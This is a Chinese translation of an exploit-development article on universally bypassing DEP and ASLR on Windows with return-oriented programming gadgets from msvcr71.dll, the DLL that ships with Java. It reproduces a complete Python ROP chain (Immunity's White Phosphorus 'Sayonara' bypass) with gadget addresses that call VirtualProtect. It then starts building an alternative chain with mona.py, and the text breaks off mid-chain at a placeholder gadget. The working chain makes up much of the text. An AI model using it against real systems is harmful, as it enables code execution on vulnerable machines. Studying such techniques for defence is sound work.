说明
最近几周,有许多关于利用msvcr71.dll中 ROP gadgets(译者注gadgets小代码)实
现通用绕过 DEP/ASLR 的方法,事实上甚至已经有集成了这类功能的 exploit 程序被提交给
Metasploit来获取奖金了。
白磷版本
做为白磷漏洞包发布的一部分,这段代码仅仅使用了msvcr71.dll中的gadgets和指向
VirtualProtect函数的指针。这个版本的dll没有基于 ASLR,因此这是个可以用来实现通
用绕过 DEP和ASLR的完美侯选者,此外它还包含了生成ROP 程序的所有gadgets。
如果目标应用程序加载了该版本的dll(或者可以让它强制加载),我们就可以使用 ROP
chain来实现绕过DEP 和ASLR 的通用方法。
Immunity公司在他们的网站上公布了绕过技巧,主要代码如下:
def wp_sayonaraASLRDEPBypass(size=1000):
# White Phosphorus
# Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]
#
# This technique uses msvcr71.dll which has shipped unchanged
# in the Java Runtime Environment since v1.6.0.0 released
# December 2006.
#
# mail: support@whitephosphorus org
# sales: http://www.jybase.net/products-whitephosphorus.shtml
print "WP> Building Sayonara - Universal ASLR and DEP bypass"
size += 4 # bytes to shellcode after pushad esp ptr
depBypass = pack('<L', 0x7C344CC1) # pop eax;ret;
depBypass += pack('<L', 0x7C3410C2) # pop ecx;pop ecx;ret;
depBypass += pack('<L', 0x7C342462) # xor chain; call eax {0x7C3410C2}
depBypass += pack('<L', 0x7C38C510) # writeable location for lpflOldProtect
depBypass += pack('<L', 0x7C365645) # pop esi;ret;
depBypass += pack('<L', 0x7C345243) # ret;
depBypass += pack('<L', 0x7C348F46) # pop ebp;ret;
depBypass += pack('<L', 0x7C3487EC) # call eax
depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
depBypass += pack("<i", -size) # {size}
depBypass += pack('<L', 0x7C34D749) # neg eax;ret; {adjust size}
depBypass += pack('<L', 0x7C3458AA) # add ebx, eax;ret; {size into ebx}
depBypass += pack('<L', 0x7C3439FA) # pop edx;ret;
depBypass += pack('<L', 0xFFFFFFC0) # {flag}
depBypass += pack('<L', 0x7C351EB1) # neg edx;ret; {adjust flag}
depBypass += pack('<L', 0x7C354648) # pop edi;ret;
depBypass += pack('<L', 0x7C3530EA) # mov eax,[eax];ret;
depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;
depBypass += pack('<L', 0x7C37A181) # (VP RVA + 30) - {0xEF adjustment}
depBypass += pack('<L', 0x7C355AEB) # sub eax,30;ret;
depBypass += pack('<L', 0x7C378C81) # pushad; add al,0xef; ret;
depBypass += pack('<L', 0x7C36683F) # push esp;ret;
print "WP> Universal Bypass Size: %d bytes"%len(depBypass)
return depBypass
受 Mestasploit奖金事件的触动,以及 Abysssec 几个小时前(译者注:2011/07/03)
发表的一个类似文档,同时由于 Immunity 已经发布了代码,我决定自己再研究下看看能不
能从 msvcr71.dll中找到其他的能够绕过DEP/ASLR的代码
另一种版本(mona.py)
我用 Immunity Debugger调试一个加载了这个dll的应用程序,利用mona.py脚本创建
一个拥有 ROP gadgets的数据库,并且生成一个rop chain
因为在白磷版本中没有null 字节,所以可以尝试做同样的事。
结果如下:
输入命令:!mona rop -m msvcr71.dll -n
17 秒后,结果如下:
rop_gadgets =
[
0x7c346c0a, # POP EAX # RETN (msvcr71.dll)
0x7c37a140, # <- *&VirtualProtect()
0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll)
0x????????, # ** <- find routine to move virtualprotect() into esi
# ** Hint : look for mov [esp+offset],eax and pop esi |